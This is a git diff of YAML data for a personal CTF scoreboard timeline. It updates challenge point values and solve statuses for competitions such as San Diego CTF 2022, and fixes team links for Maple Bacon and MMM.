writeup-url: null
- name: "memowy cowwuption"
category: pwn
points: 100
solve-count: 13
solve-status: solved
writeup-url: null
- name: "copilot my savior"
category: crypto
points: 50
solve-count: 24
solve-status: solved
writeup-url: null
- name: "encode me"
category: misc
points: 50
solve-count: 21
solve-status: solved
writeup-url: null
- name: "decode me"
category: misc
points: 50
solve-count: 18
solve-status: solved
writeup-url: null
- name: "one two three"
category: crypto
points: 200
solve-count: 4
solve-status: solved
writeup-url: null
- name: "pyjail"
category: jail
points: 150
solve-count: 22
solve-status: solved
writeup-url: null
- name: "pyjail 2"
category: jail
points: 400
solve-count: 12
solve-status: solved
writeup-url: null
- name: "hijacked"
category: forensics
points: 200
solve-count: 9
solve-status: solved
writeup-url: null
- name: "uwu intewpwetew"
category: pwn
points: 300
solve-count: 4
solve-status: solved
writeup-url: null
- name: "pyjail 3"
category: jail
points: 400
solve-count: 12
solve-status: solved
writeup-url: null
- name: "baby pwintf"
category: pwn
points: 100
solve-count: 8
solve-status: solved
writeup-url: null
- name: "3d"
category: rev
points: 300
solve-count: 3
solve-status: solved
writeup-url: null
first-blood: true
- name: "spinning around"
category: rev
points: 300
solve-count: 3
solve-status: solved
writeup-url: null
- name: "pwintf"
category: pwn
points: 400
solve-count: 2
solve-status: solved
writeup-url: null
- name: "wetuwn owiented pwogwamming"
category: pwn
points: 250
solve-count: 4
solve-status: solved
writeup-url: null
- name: "whats up sys?"
category: rev
points: 100
solve-count: 6
solve-status: solved
writeup-url: null
- name: "Arista challenge"
category: sponsors
- points: 100
+ points: 400
solve-count: 6
solve-status: solved
writeup-url: null
- name: "birbs"
category: pwn
points: 100
solve-count: 3
solve-status: unsolved
writeup-url: null
\ No newline at end of file
diff --git a/ctfs/sdctf22.yml b/ctfs/sdctf22.yml
index 189a959..40d8381 100644
--- a/ctfs/sdctf22.yml
+++ b/ctfs/sdctf22.yml
@@ -1,61 +1,61 @@
#refer to hkcert21.yml for definitions
name: "San Diego CTF 2022"
url: https://ctftime.org/event/1495
date: 2022-05-06
duration: 48
type: "Jeopardy"
organizer: false
rank: 3
full-clear: false
team: "Maple Bacon"
challenges:
- name: "SymCalc.py"
category: jail
points: 220
solve-count: 27
- solve-status: co-solved
+ solve-status: solved
writeup-url: null
first-blood: true
- name: "Bit flipping machine"
category: rev
points: 110/130
solve-count: 32/12
solve-status: solved
writeup-url: null
first-blood: true
- name: "Flag Hoarder"
category: forensics
points: 250
solve-count: 16
solve-status: solved
writeup-url: null
- name: "Turing-complete safeeval"
category: jail
points: 110
solve-count: 27
solve-status: solved
writeup-url: null
- name: "Rbash Warmup"
category: jail
points: 150
solve-count: 80
solve-status: solved
writeup-url: null
- name: "magic^3"
category: rev
points: 450
solve-count: 9
solve-status: co-solved
writeup-url: https://maplebacon.org/2022/05/sdctf-magic3/
writeup-prize: true
- name: "Internprise Encryption"
category: rev
points: 200
solve-count: 48
solve-status: sniped
writeup-url: null
\ No newline at end of file
diff --git a/special.yml b/special.yml
index 50d3a0c..d50a8c6 100644
--- a/special.yml
+++ b/special.yml
@@ -1,29 +1,29 @@
#list of special events that's worth mentioning on the timeline separately from a ctf;
#new years will be automatically inserted with basically the following properties:
#new-year:
# style: "timeline-year"
# content: {year}
# date: {year}-01-01
joined-mb: #name is not used for parsing, just something that we can read
#css class; has to be already defined in main.css
style: "timeline-join"
#got lazy so just inline html lol; thought about markdown but its too inflexible and also not necessary for a few sentences anyway
content: 'Joined <a class="nav-link d-inline p-0" href="https://ctftime.org/team/73723">Maple Bacon</a>'
#for aligning in timeline
date: 2022-02-01
mmm-created:
style: "timeline-join"
- content: '<a class="nav-link d-inline p-0" href="https://ctftime.org/team/73723">MMM</a> created'
+ content: '<a class="nav-link d-inline p-0" href="https://ctftime.org/team/193591">MMM</a> created'
date: 2022-06-01
mmm-announced:
style: "timeline-announce"
- content: '<a class="nav-link d-inline p-0" href="https://ctftime.org/team/73723">MMM</a> is publicly announced as <div style="color: #dd7" class="d-inline font-weight-bold p-0">Maple Mallard Magistrates</div>'
+ content: '<a class="nav-link d-inline p-0" href="https://ctftime.org/team/193591">MMM</a> is publicly announced as <div style="color: #dd7" class="d-inline font-weight-bold p-0">Maple Mallard Magistrates</div>'
date: 2022-08-07
lumina-hiatus:
style: "timeline-hiatus"
content: 'Focusing on <a class="nav-link d-inline p-0" href="https://github.com/search?q=org%3Aubcctf+lumina">IDA Lumina ports</a>, small hiatus on CTFs'
date: 2022-11-20
\ No newline at end of file

File Metadata

Mime Type
text/x-diff
Expires
Sat, Sep 21, 3:14 PM (1 d, 12 h)
Storage Engine
local-disk
Storage Format
Raw Data
Storage Handle
44/6f/29ff3c31cc51f5dbcb2eeb7651db

Event Timeline